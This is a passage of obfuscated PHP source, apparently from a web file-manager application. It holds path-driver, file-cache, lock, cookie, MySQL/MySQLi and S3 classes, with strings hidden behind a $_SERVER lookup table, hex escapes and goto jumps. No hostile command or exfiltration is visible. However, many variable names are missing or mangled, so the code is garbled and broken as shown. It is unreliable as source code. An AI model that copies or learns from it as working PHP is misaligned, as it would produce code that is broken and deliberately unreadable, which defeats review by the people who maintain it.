$۷ =& $_SERVER[秼]; $ = $this->parse($Ӌ); $Ӌ = $[$۷[486]]; for ($ = 0; $ < count($[$۷[1431]]); $++) { $ = $[$۷[1431]][$]; $Ӌ = $this->model->mkdir($Ӌ, $, $ٰ); } return $this->getPathOuter($Ӌ); } public function copyFile($Ō, $, $Մ퇊 = REPEAT_REPLACE) { $Տ =& $_SERVER[秼]; $ = $this->parse($); $ŕ = $this->model->copy($Ō, $[$Տ[486]], $Մ퇊, $[$Տ[87]]); return $ŕ ? $this->getPathOuter($ŕ) : !1; } public function moveFile($, $г㑶, $ߧ = REPEAT_REPLACE) { $ =& $_SERVER[秼]; $͑ = $this->parse($г㑶); $ = $this->model->move($, $͑[$[486]], $ߧ, $͑[$[87]]); return $ ? $this->getPathOuter($) : !1; } public function copy($읮, $׃ܣ, $ҥ酎 = REPEAT_REPLACE, $ěĥ = false) { $堞 = $this->parse($׃ܣ); $Ќ = $this->model->copy($읮, $堞[$_SERVER[秼][486]], $ҥ酎, $ěĥ); return $Ќ ? $this->getPathOuter($Ќ) : !1; } public function moveSameAllow() { } public function move($珄, $, $ݻ = REPEAT_REPLACE, $ = false) { $ȸ = $this->parse($); $ = $this->model->move($珄, $ȸ[$_SERVER[秼][486]], $ݻ, $); return $ ? $this->getPathOuter($) : !1; } public function remove($, $а˺ = true) { return $this->model->remove($, $а˺); } public function rename($Ƨ, $ؕ) { $ = $this->model->rename($Ƨ, $ؕ); return $ ? $this->getPathOuter($Ƨ) : $; } public function size($) { $ = $this->infoSimple($); return $ ? $[$_SERVER[秼][79]] : 0; } public function infoSimple($ۖ) { return $this->model->sourceInfo($ۖ); } public function info($) { return $this->infoParse($); } public function infoAuth($) { return $this->infoParse($, !1, !0); } public function infoWithChildren($뵕) { return $this->infoParse($뵕, !0); } protected function infoParse($, $Ӽ = false, $ = false) { if (!$Ӽ) { return $this->model->pathInfo($, $); } return $this->model->pathInfoMore($); } public function infoFullSimple($) { $ =& $_SERVER[秼]; $䌒 = explode($[8], $); $ = implode($[8], array_splice($䌒, 1)); return $this->model->pathInfoByPath($䌒[0], $); } public function infoFull($) { $ľ = $this->infoFullSimple($); return is_array($ľ) ? $this->model->pathInfo($ľ[$_SERVER[秼][193]]) : !1; } public function hashSimple($畅窒) { $ =& $_SERVER[秼]; $Ʉ = $this->infoWithChildren($畅窒); return $Ʉ[$[170]][$[686]]; } public function hashMd5($) { $ =& $_SERVER[秼]; $ʷ = $this->infoWithChildren($); return $ʷ[$[170]][$[558]]; } public function exist($) { $毽 =& $_SERVER[秼]; $ = $this->parse($); if (!$[$毽[87]]) { return $this->isFile($) || $this->isFolder($); } $ɑ = array($毽[488] => $[$毽[486]], $毽[32] => $[$毽[87]]); $ = $this->model->where($ɑ)->find(); return $ ? !0 : !1; } public function isFile($֡) { $ߖ =& $_SERVER[秼]; $ߧnj = $this->infoSimple($֡); return $ߧnj && $ߧnj[$ߖ[496]] == $ߖ[230] ? !0 : !1; } public function isFolder($箜) { $҄ =& $_SERVER[秼]; $ = $this->infoSimple($箜); return $ && $[$҄[496]] == $҄[91] ? !0 : !1; } public function listPath($, $ = false) { $ͣ =& $_SERVER[秼]; if ($ == $ͣ[12]) { return !1; } $ԍ = array($ͣ[488] => $); if ($) { return $this->model->listSource($ԍ, -1); } return $this->model->listSource($ԍ); } public function has($, $ = false, $ = null) { $ې =& $_SERVER[秼]; $ = $this->infoWithChildren($); if ($) { return array($ې[242] => $[$ې[242]], $ې[241] => $[$ې[241]]); } return $ ? $[$ې[242]] : $[$ې[241]]; } public function listAll($) { $늅 = IO::info($this->pathParse[$_SERVER[秼][87]]); if (!$늅) { return array(); } return $this->model->listAll($); } public function getContent($) { return $this->model->getContent($); } public function setContent($, $ = '') { return $this->model->setContent($, $); } public function fileSubstr($σ, $μ, $Ķ) { return $this->model->fileSubstr($σ, $μ, $Ķ); } public function download($͏ʨ, $ = '') { $袺ý = get_path_father($); $ = get_path_this($); $Υ = $this->model->fileInfoGet($͏ʨ); $Է = IO::copy($Υ[$_SERVER[秼][87]], $袺ý, !1, $); return $Է; } public function setModifyTime($Őҧ, $ = '') { $ɺ =& $_SERVER[秼]; if (!$Őҧ) { return; } $this->model->where(array($ɺ[502] => $Őҧ))->save(array($ɺ[88] => $)); } public function upload($ޜ, $, $ϸ = false, $Ă = REPEAT_REPLACE) { $ =& $_SERVER[秼]; $ = $this->parse($ޜ); $ͳЧ = $this->model->addFile($[$[486]], $, $[$[87]], $ϸ, $Ă); return $this->getPathOuter($ͳЧ); } public function uploadFileByID($ڵ, $, $) { $ޅ =& $_SERVER[秼]; $Ͽ = $this->parse($ڵ); $ɯ = $this->model->addFileByFileID($Ͽ[$ޅ[486]], $, $Ͽ[$ޅ[87]], $); return $this->getPathOuter($ɯ); } public function addFileByRemote($, $, $ = array(), $ԟ = '', $ӗ) { $ځ =& $_SERVER[秼]; $ܕ = $this->parse($); $ԟ = empty($ԟ) ? $ܕ[$ځ[87]] : $ԟ; $ = $this->model->addFileByRemote($ܕ[$ځ[486]], $, $ԟ, $, $ӗ); return $this->getPathOuter($); } public function uploadLink($, $ = 0) { $ƛ =& $_SERVER[秼]; $콭 = $this->parse($); $Ց = _get($GLOBALS[$ƛ[7]], $ƛ[1432]); $ԯ = _get($GLOBALS[$ƛ[7]], $ƛ[1433]); $ = Model($ƛ[688])->createFileName($콭[$ƛ[87]], $Ց, $ԯ); return IO::uploadLink($, $); } public function fileNameAuto($ޥ, $, $᭭ = REPEAT_REPLACE, $Ò = false) { return $this->model->fileNameAuto($ޥ, $, $᭭, $Ò); } public function fileNameExist($ə, $ɇ) { return $this->model->fileNameExist($ə, $ɇ); } protected function _fileOut($˺, $ˋ = false, $İ = false, $Կ = '', $֥ = false) { $֗í =& $_SERVER[秼]; $˴ = $this->model->sourceInfo($˺); if ($˴[$֗í[496]] == $֗í[91]) { header($֗í[1434]); die; } $ = $this->model->fileInfoGet($˺); $Կ = $[$֗í[558]] ? $[$֗í[558]] : $Կ; $ = isset($GLOBALS[$֗í[182]]) && is_array($GLOBALS[$֗í[182]]) ? $GLOBALS[$֗í[182]][$֗í[32]] : $˴[$֗í[32]]; if ($֥) { return IO::fileOutServer($[$֗í[87]], $ˋ, $, $Կ); } IO::fileOut($[$֗í[87]], $ˋ, $, $Կ); } public function fileOut($퀙, $ = false, $ = false, $ = '') { $this->_fileOut($퀙, $, $, $); } public function fileOutServer($ٸ, $ӷ = false, $Č = false, $٠ = '') { $this->_fileOut($ٸ, $ӷ, $Č, $٠, !0); } protected function _fileOutImage($Ȝ, $ = 250) { $ϴȧ =& $_SERVER[秼]; $ؿ = $this->model->pathInfo($Ȝ); if ($ؿ[$ϴȧ[496]] == $ϴȧ[91]) { show_json($ϴȧ[1435] . $Ȝ, !1); } $㽸 = $this->model->fileInfoGet($Ȝ); $ؿ[$ϴȧ[183]] = $㽸[$ϴȧ[87]]; $GLOBALS[$ϴȧ[182]] = $ؿ; IO::fileOutImage($㽸[$ϴȧ[87]], $); } public function fileOutImage($ʎ, $ŭ٥ = 250) { $this->_fileOutImage($ʎ, $ŭ٥); } public function fileOutImageServer($, $ = 250) { $this->_fileOutImage($, $); } public function link($, $ = '') { $ؗ = $this->model->fileInfoGet($); return IO::link($ؗ[$_SERVER[秼][87]], $); } protected function parse($) { $ʣр =& $_SERVER[秼]; if (strstr($, $ʣр[8]) === !1) { return array($ʣр[504] => intval($), $ʣр[87] => $ʣр[12], $ʣр[1431] => array()); } $Ѻ = explode($ʣр[8], trim($, $ʣр[8])); if (count($Ѻ) < 2) { show_tips(clear_html($) . $ʣр[1436]); } return array($ʣр[504] => intval($Ѻ[0]), $ʣр[87] => $Ѻ[1], $ʣр[1431] => array_slice($Ѻ, 1)); } } class PathDriverDbShareItem extends PathDriverDB { public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[秼][1430]); } public function getPathOuter($) { $绕 =& $_SERVER[秼]; if (!$) { return $; } $ͱ = $this->parse($); return trim(KodIO::makeShare($this->pathParse[$绕[486]], $ͱ[$绕[486]]), $绕[8]); } protected function infoParse($ߊ, $ = false, $ = false) { $彶 =& $_SERVER[秼]; $є = $this->pathParse[$彶[486]]; $Ή = trim($this->pathParse[$彶[1259]], $彶[8]); return Action($彶[1437])->sharePathInfo($є, $Ή, $); } public function infoFull($ۢҀ) { $֯ =& $_SERVER[秼]; $ɐ = explode($֯[8], trim($ۢҀ, $֯[8])); if (count($ɐ) > 1) { $ = implode($֯[8], array_splice($ɐ, 1)); $Ү = $this->model->pathInfoByPath($ɐ[0], $); if (!$Ү) { return !1; } $this->pathParse[$֯[1259]] = $Ү[$֯[193]]; } return $this->infoParse($ۢҀ); } public function listAll($ѓ) { $؉ =& $_SERVER[秼]; $ٔ = IO::info($this->pathParse[$؉[87]]); if (!$ٔ) { return array(); } $ȭ = $this->model->listAll($ѓ); $ߤ = Model($؉[678])->getInfo($ٔ[$؉[679]]); foreach ($ȭ as &$ζٰ) { check_abort(); $ζٰ[$؉[90]] = Action($؉[1437])->_shareItemeParse($ζٰ[$؉[90]], $ߤ); } unset($ζٰ); return $ȭ; } } class PathDriverDbShareLink extends PathDriverDB { public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[秼][1430]); } protected function infoParse($˙, $ = false, $蹌 = false) { $Ă =& $_SERVER[秼]; return Action($Ă[1265])->sharePathInfo($this->pathParse[$Ă[87]], !0, $); } public function listPath($ˮ, $ = false) { $Ɠ =& $_SERVER[秼]; $ͫݹ = parent::listPath($ˮ, $); if (!$ͫݹ) { return $ͫݹ; } if (is_array($ͫݹ[$Ɠ[1438]])) { $ͫݹ[$Ɠ[1438]] = Action($Ɠ[1265])->shareItemInfo($ͫݹ[$Ɠ[1438]]); } foreach ($ͫݹ as $睚 => $) { if (!in_array($睚, array($Ɠ[86], $Ɠ[85]))) { continue; } foreach ($ as $宄 => $) { $ͫݹ[$睚][$宄] = Action($Ɠ[1265])->shareItemInfo($); } } return $ͫݹ; } public function listAll($) { $Ӟ =& $_SERVER[秼]; $ըó = IO::info($this->pathParse[$Ӟ[87]]); if (!$ըó) { return array(); } $ = $this->model->listAll($); foreach ($ as &$) { $[$Ӟ[90]] = Action($Ӟ[1265])->shareItemInfo($[$Ӟ[90]]); } unset($); return $; } } goto D; Dܱ: class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($އ, $) { $ =& $_SERVER[秼]; $this->cachePath = $އ[$[87]]; $this->prefix = $[923]; $this->cacheTime = $; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getFile($Ȕ) { $Ѿ =& $_SERVER[秼]; $Ȕ = str_replace(array($Ѿ[924], $Ѿ[100], $Ѿ[76]), $Ѿ[925], $Ȕ); return $this->cachePath . $Ѿ[926] . $Ȕ . $Ѿ[927]; } public function set($, $, $쌏 = false) { $쌏 = $쌏 ? $쌏 : $this->cacheTime; $ = $this->getFile($); if (file_put_contents($, $this->prefix . $, LOCK_EX)) { @touch($, intval(time() + $쌏)); clearstatcache(); return !0; } @unlink($); return !1; } public function get($) { $șǓ = $this->getFile($); if (file_exists($șǓ) && filemtime($șǓ) < time()) { @unlink($șǓ); return !1; } $ = @file_get_contents($șǓ); return substr($, strlen($this->prefix)); } public function remove($ѭ) { $ӕ = $this->getFile($ѭ); return @unlink($ӕ); } public function deleteAll() { $՚ =& $_SERVER[秼]; $ = scandir($this->cachePath); foreach ($ as $) { $Ч = $this->cachePath . $; if (strpos($Ч, $՚[927]) && strpos($Ч, $՚[928])) { @unlink($Ч); } } } public function clearTimeout() { $ꘜ =& $_SERVER[秼]; $ = scandir($this->cachePath); foreach ($ as $) { $ = $this->cachePath . $; if (strpos($, $ꘜ[927]) && strpos($, $ꘜ[928]) && filemtime($) < time()) { @unlink($); } } } } class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { $ =& $_SERVER[秼]; if (self::$handle) { return self::$handle; } $ = $GLOBALS[$[6]][$[426]]; self::$timeout = $[$[929]] ? $[$[929]] : 10; $ӥ = _get($GLOBALS[$[6]], $[930]); $ͽ = $[$[915]] ? $[$[915]] : $[232]; if ($ͽ == $[21] && $ӥ == $[13]) { $ͽ = $[232]; } switch ($ͽ) { case $[918]: self::$handle = new CacheLockRedis(); break; case $[919]: self::$handle = new CacheLockMemcached(); break; case $[21]: self::$handle = new CacheLockDatabase(); break; case $[232]: self::$handle = new CacheLockFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($[931], $[932]); } return self::$handle; } private static function key($) { return $_SERVER[秼][933] . Cache::key($); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($ܤ = '') { self::$errorMsg = $ܤ; } public static function lockGlobal($ۮ, $) { return self::lock($ۮ, $, !0); } public static function lock($ս, $ = false, $ש = false) { $ =& $_SERVER[秼]; $˅ = self::init(); $Ž = self::key($ս); $ = $ ? $ : self::$timeout; $ܩ㓛 = timeFloat(); if ($GLOBALS[$[934]]) { if (!$˅->lock($Ž, 0.2)) { die; } return !0; } $ = $˅->lock($Ž, $); $˻ = timeFloat(); if (!$) { $ = "\154\x6f\x63\153\x20\145\162\162\157\x72\x3b\x6b\145\x79\x3d{$ս}\73\x74\151\155\145\x3d{$}\73" . self::$errorMsg . $[74] . get_caller_msg(); $ = LNG($[935]) . "\x28{$}\x73\x29\x2e" . LNG($[936]); $ .= $[937]; if (is_string(self::$errorMsg) && self::$errorMsg) { $ = $ . $[938] . self::$errorMsg; } write_log($[939] . sprintf($[940], timeFloat() - $ܩ㓛) . $[941] . $ . $[942] . json_encode(error_get_last()), $[932]); show_json($, !1); } if (!$ש) { self::$lockItem[$Ž] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $䨭 = number_format(timeFloat() - $˻, 3); write_log($[943] . $ս . $[944] . $䨭, $[932]); } return $; } public static function lockGet($Ŋ) { $ω = self::key($Ŋ); if (self::$lockItem[$ω]) { return self::$lockItem[$ω]; } return self::init()->lockGet($ω); } public static function unlock($Ҥ) { $ =& $_SERVER[秼]; $ = self::key($Ҥ); self::$lockItem[$] = null; self::init()->unlock($); if (GLOBAL_DEBUG_LOG_ALL) { write_log($[945] . $Ҥ, $[932]); } return; } public static function unlockRuntime() { $˨ =& $_SERVER[秼]; $¤ǭ = self::init(); $ = !1; foreach (self::$lockItem as $ => $) { if (!$) { continue; } $¤ǭ->unlock($); if (!$) { $ = !0; write_log($˨[946] . $ . $˨[74] . get_caller_msg(), $˨[932]); continue; } write_log($˨[946] . $, $˨[932]); } self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $䩽 = number_format(timeFloat() - TIME_FLOAT, 3); write_log($˨[947] . $䩽 . $˨[948] . ACTION, $˨[932]); } } public static function fileLock($ץ) { $ڀ =& $_SERVER[秼]; if (!$GLOBALS[$ڀ[949]]) { $GLOBALS[$ڀ[949]] = array(); } $GLOBALS[$ڀ[949]][$ץ] = !1; $嵨͇ = fopen(DATA_PATH . $ץ . $ڀ[950], $ڀ[951]); if (!$嵨͇) { return !1; } $GLOBALS[$ڀ[949]][$ץ] = $嵨͇; if (flock($嵨͇, LOCK_EX)) { return !0; } self::unlock($ץ); show_json($ڀ[952], !1); return !1; } public static function fileUnlock($) { $ =& $_SERVER[秼]; $ײŅ = $GLOBALS[$[949]][$]; if (!$ײŅ) { return; } $GLOBALS[$[949]][$] = !1; flock($ײŅ, LOCK_UN); fclose($ײŅ); } public static function fileUnlockAll() { $̻ =& $_SERVER[秼]; if (!isset($GLOBALS[$̻[949]]) || !$GLOBALS[$̻[949]]) { return; } foreach ($GLOBALS[$̻[949]] as $ => $) { if (!$) { continue; } $GLOBALS[$̻[949]][$] = !1; flock($, LOCK_UN); fclose($); } $GLOBALS[$̻[949]] = array(); } } function cacheLockWait() { usleep(mt_rand(200, 5000)); } goto b; fݶМ: class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($ = '', $ܰѧ = 0) { if (is_string($) && $ != $_SERVER[秼][12]) { $this->prefix = $; } if (is_numeric($ܰѧ) && $ܰѧ > 0) { $this->expire = $ܰѧ; } } public static function getInstance() { static $; if ($ === null) { $ = new self(); } return $; } private static $cookieDisable = false; public static function disable($) { self::$cookieDisable = $; } private static $sameCookieSet = array(); public static function set($Ħ, $ł, $şݞ = 0, $ǟ = false, $։˃ = false) { $Է۞ =& $_SERVER[秼]; if (self::$cookieDisable) { return; } if (!$şݞ) { $şݞ = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$Ħ]) && self::$sameCookieSet[$Ħ] == $ł . $şݞ) { return; } self::$sameCookieSet[$Ħ] = $ł . $şݞ; if (!$։˃) { $։˃ = str_replace(HOST, $Է۞[12], APP_HOST); $։˃ = _get($GLOBALS, $Է۞[969], $։˃); } $ٕ = $Է۞[12]; setcookie($Ħ, $ł, time() + $şݞ, $Է۞[8] . trim($։˃, $Է۞[8]) . $ٕ, !1, !1, $ǟ); } public static function setSafe($䞝, $ñ, $ = 0) { self::set($䞝, $ñ, $, !0); } public static function get($) { static $ = false; if (!$) { self::initHeaderCookie(); $ = !0; } return isset($_COOKIE[$]) ? $_COOKIE[$] : !1; } private static function initHeaderCookie() { $ =& $_SERVER[秼]; if (!isset($_SERVER[$[970]]) || !$_SERVER[$[970]]) { return; } $ = explode($[74], $_SERVER[$[970]]); foreach ($ as $) { $ = explode($[517], $); if (count($) != 2 || !isset($[1])) { continue; } $_COOKIE[trim($[0])] = trim($[1]); } } public static function remove($١, $ֻ = false) { unset($_COOKIE[$١]); self::set($١, $_SERVER[秼][12], 1, $ֻ); } } class DbMysql extends Db { public function __construct($˨ = '') { $ =& $_SERVER[秼]; if (!extension_loaded($[893])) { think_exception(think_lang($[14]) . $[971]); } if (!empty($˨)) { $this->config = $˨; if (empty($this->config[$[17]])) { $this->config[$[17]] = $[12]; } } } public function connect($ = '', $ = 0, $춒 = false) { $Ț =& $_SERVER[秼]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $श = $[$Ț[972]] . ($[$Ț[973]] ? "\72{$[$Ț[973]]}" : $Ț[12]); $ = !empty($[$Ț[17]][$Ț[18]]) ? $[$Ț[17]][$Ț[18]] : $this->pconnect; if ($) { $this->linkID[$] = mysql_pconnect($श, $[$Ț[974]], $[$Ț[975]], 131072); } else { $this->linkID[$] = mysql_connect($श, $[$Ț[974]], $[$Ț[975]], !0, 131072); } if (!$this->linkID[$] || !empty($[$Ț[21]]) && !mysql_select_db($[$Ț[21]], $this->linkID[$])) { think_exception(mysql_error()); } $ = mysql_get_server_info($this->linkID[$]); mysql_query($Ț[976] . think_config($Ț[977]) . $Ț[58], $this->linkID[$]); if ($ > $Ț[978]) { mysql_query($Ț[979], $this->linkID[$]); } $this->connected = !0; if (1 != think_config($Ț[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($) { $ =& $_SERVER[秼]; if (0 === stripos($, $[343])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = mysql_query($, $this->_linkID); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } } public function execute($) { $⥚ =& $_SERVER[秼]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($⥚[25], 1); think_status($⥚[24]); $ = mysql_query($, $this->_linkID); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[秼][980], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ж = mysql_query($_SERVER[秼][981], $this->_linkID); $this->transTimes = 0; if (!$ж) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ǎ = mysql_query($_SERVER[秼][982], $this->_linkID); $this->transTimes = 0; if (!$ǎ) { $this->error(); return !1; } } return !0; } private function getAll() { $ܞݢ = array(); if ($this->numRows > 0) { while ($ = mysql_fetch_assoc($this->queryID)) { $ܞݢ[] = $; } mysql_data_seek($this->queryID, 0); } return $ܞݢ; } public function getFields($ó) { $ =& $_SERVER[秼]; $ܢ = $this->query($[983] . $this->parseKey($ó)); $ = array(); if ($ܢ) { foreach ($ܢ as $ => $ԝ) { $[$ԝ[$[31]]] = array($[32] => $ԝ[$[31]], $[33] => $ԝ[$[34]], $[35] => (bool) (strtoupper($ԝ[$[36]]) === $[984]), $[37] => $ԝ[$[38]], $[39] => strtolower($ԝ[$[40]]) == $[41], $[42] => strtolower($ԝ[$[43]]) == $[44]); } } return $; } public function getTables($ă = '') { $ =& $_SERVER[秼]; if (!empty($ă)) { $߬ = $[985] . $ă . $[986]; } else { $߬ = $[987]; } $٤ = $this->query($߬); $ = array(); foreach ($٤ as $ˁˡ => $) { $[$ˁˡ] = current($); } return $; } public function replace($, $۬ = array()) { $Nj =& $_SERVER[秼]; foreach ($ as $ɓ => $欲) { $ۗ = $this->parseValue($欲); if (is_scalar($ۗ)) { $ڏ[] = $ۗ; $[] = $this->parseKey($ɓ); } } $Njθ = $Nj[988] . $this->parseTable($۬[$Nj[358]]) . $Nj[989] . implode($Nj[50], $) . $Nj[990] . implode($Nj[50], $ڏ) . $Nj[991]; return $this->execute($Njθ); } public function insertAll($, $ = array(), $ = false) { $ =& $_SERVER[秼]; if (!is_array($[0])) { return !1; } $Ôڃ = array_keys($[0]); $Ň = array(); foreach ($ as $) { $ߝ = array(); foreach ($ as $̰ => $Ҏ) { $Ҏ = $this->parseValue($Ҏ); if (is_scalar($Ҏ)) { $ߝ[] = $Ҏ; } } $Ň[] = $[339] . implode($[50], $ߝ) . $[991]; } array_walk($Ôڃ, array($this, $[992])); $ = ($ ? $[993] : $[994]) . $[995] . $this->parseTable($[$[358]]) . $[989] . implode($[50], $Ôڃ) . $[996] . implode($[50], $Ň); return $this->execute($); } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $ =& $_SERVER[秼]; $this->error = mysql_errno() . $[4] . mysql_error($this->_linkID); if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($) { if ($this->_linkID) { return mysql_real_escape_string($, $this->_linkID); } else { return mysql_escape_string($); } } public function parseKey(&$ך, $֨ = true) { $ =& $_SERVER[秼]; if ($֨) { $ך = $this->parseKeyCheck($ך); } if ($ך != $[222] && !preg_match($[997], $ך)) { $ך = $[472] . trim($ך, $[472]) . $[472]; } return $ך; } } class DbMysqli extends Db { public function __construct($䝟 = '') { $ =& $_SERVER[秼]; if (!extension_loaded($[998])) { think_exception(think_lang($[14]) . $[999]); } if (!empty($䝟)) { $this->config = $䝟; if (empty($this->config[$[17]])) { $this->config[$[17]] = $[12]; } } } public function connect($ = '', $ = 0) { $ =& $_SERVER[秼]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $this->linkID[$] = new mysqli($[$[972]], $[$[974]], $[$[975]], $[$[21]], $[$[973]] ? intval($[$[973]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } $䫑 = $this->linkID[$]->server_version; $this->linkID[$]->query($[976] . think_config($[977]) . $[58]); if ($䫑 > $[978]) { $this->linkID[$]->query($[979]); } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($҈) { $˷ =& $_SERVER[秼]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $҈; if ($this->queryID) { $this->free(); } think_action_status($˷[23], 1); think_status($˷[24]); $this->queryID = $this->_linkID->query($҈); if ($this->_linkID->more_results()) { while (($嶭 = $this->_linkID->next_result()) != NULL) { $嶭->free_result(); } } $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } } public function execute($) { $群 =& $_SERVER[秼]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($群[25], 1); think_status($群[24]); $ = $this->_linkID->query($); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $✋ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$✋) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ⷶ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$ⷶ) { $this->error(); return !1; } } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { for ($ʏ = 0; $ʏ < $this->numRows; $ʏ++) { $[$ʏ] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $; } public function getFields($Õ) { $̦ =& $_SERVER[秼]; $Ѵˤ = $this->query($̦[983] . $this->parseKey($Õ)); $Ħ = array(); if ($Ѵˤ) { foreach ($Ѵˤ as $ => $ö) { $Ħ[$ö[$̦[31]]] = array($̦[32] => $ö[$̦[31]], $̦[33] => $ö[$̦[34]], $̦[35] => (bool) ($ö[$̦[36]] === $̦[12]), $̦[37] => $ö[$̦[38]], $̦[39] => strtolower($ö[$̦[40]]) == $̦[41], $̦[42] => strtolower($ö[$̦[43]]) == $̦[44]); } } return $Ħ; } public function getTables($Ɵ = '') { $ =& $_SERVER[秼]; $ = !empty($Ɵ) ? $[985] . $Ɵ . $[986] : $[987]; $ͽ = $this->query($); $Ą = array(); if ($ͽ) { foreach ($ͽ as $Ң => $Ր) { $Ą[$Ң] = current($Ր); } } return $Ą; } public function replace($묶, $᯾ = array()) { $ =& $_SERVER[秼]; foreach ($묶 as $͆ => $) { $ = $this->parseValue($); if (is_scalar($)) { $[] = $; $Ҹ[] = $this->parseKey($͆); } } $ = $[988] . $this->parseTable($᯾[$[358]]) . $[989] . implode($[50], $Ҹ) . $[990] . implode($[50], $) . $[991]; return $this->execute($); } public function insertAll($ŧ, $ = array(), $ = false) { $î =& $_SERVER[秼]; if (!is_array($ŧ[0])) { return !1; } $ = array_keys($ŧ[0]); $ = array(); foreach ($ŧ as $) { $ɀΞ = array(); foreach ($ as $쭑 => $껌) { $껌 = $this->parseValue($껌); if (is_scalar($껌)) { $ɀΞ[] = $껌; } } $[] = $î[339] . implode($î[50], $ɀΞ) . $î[991]; } array_walk($, array($this, $î[992])); $ކۢ = $ ? $î[993] : $î[994]; $܉ = $ކۢ . $î[995] . $this->parseTable($[$î[358]]) . $î[989] . implode($î[50], $) . $î[996] . implode($î[50], $); return $this->execute($܉); } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ =& $_SERVER[秼]; $this->error = $this->_linkID->errno . $[4] . $this->_linkID->error; if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($ప) { if ($this->_linkID) { return $this->_linkID->real_escape_string($ప); } else { return addslashes($ప); } } public function parseKey(&$, $ = true) { $ã =& $_SERVER[秼]; if ($) { $ = $this->parseKeyCheck($); } if ($ != $ã[222] && !preg_match($ã[997], $)) { $ = $ã[472] . trim($, $ã[472]) . $ã[472]; } return $; } } goto B; cܗ: class PathDriverS3 extends PathDriverBaseS3 { public function __construct($ξ) { $ =& $_SERVER[秼]; parent::__construct($ξ); $ﱜ = isset($ξ[$[258]]) && $ξ[$[258]] == $[249] ? $[249] : $[315]; $this->setSignVersion($ﱜ); } public function link($ˁ, $ʽ = array()) { return parent::link($ˁ, $ʽ); } public function fileOut($梽, $ۋ̃ = false, $ = false, $ = '') { if ($this->isFileOutServer() || strstr($this->endpoint, $_SERVER[秼][316])) { return parent::fileOutServer($梽, $ۋ̃, $, $); } parent::fileOut($梽, $ۋ̃, $, $); } public function fileOutImage($ޜ֊, $ = 250) { if (strstr($this->endpoint, $_SERVER[秼][316])) { return parent::fileOutImageServer($ޜ֊, $); } parent::fileOutImage($ޜ֊, $); } public function fileOutLink($ʐ) { $ =& $_SERVER[秼]; if (substr($ʐ, 0, 7) == $[218]) { $ʐ = $[219] . substr($ʐ, 7); } header($[175] . $ʐ); die; } } define($_SERVER[秼][317], 1); define($_SERVER[秼][318], 2); goto a; E: class TaskQueue { const MAX_LENGTH = 2000; const QUEUE_LENGTH = "\x74\141\x73\153\121\165\x65\x75\145\114\x65\x6e\147\164\x68"; const QUEUE_DATA = "\x74\x61\163\x6b\121\x75\145\x75\x65\104\141\164\141"; const QUEUE_TIME = "\x74\141\x73\153\121\165\x65\165\145\x4c\x61\x73\164\122\165\x6e"; const QUEUE_THREAD = "\164\x61\x73\153\121\165\145\x75\x65\x54\x68\x72\145\141\144"; public static $listData = false; public static $listDataAdd = false; public static function initTask() { } public static function add($⧛, $ = array(), $ = '', $ = '') { $ً =& $_SERVER[秼]; if (self::$listData === !1) { self::$listData = self::getAll(); self::$listDataAdd = array(); } if (count(self::$listData) >= self::MAX_LENGTH) { return !1; } if ($ && array_find_by_field(self::$listData, $ً[97], $)) { return !0; } if ($ && array_find_by_field(self::$listDataAdd, 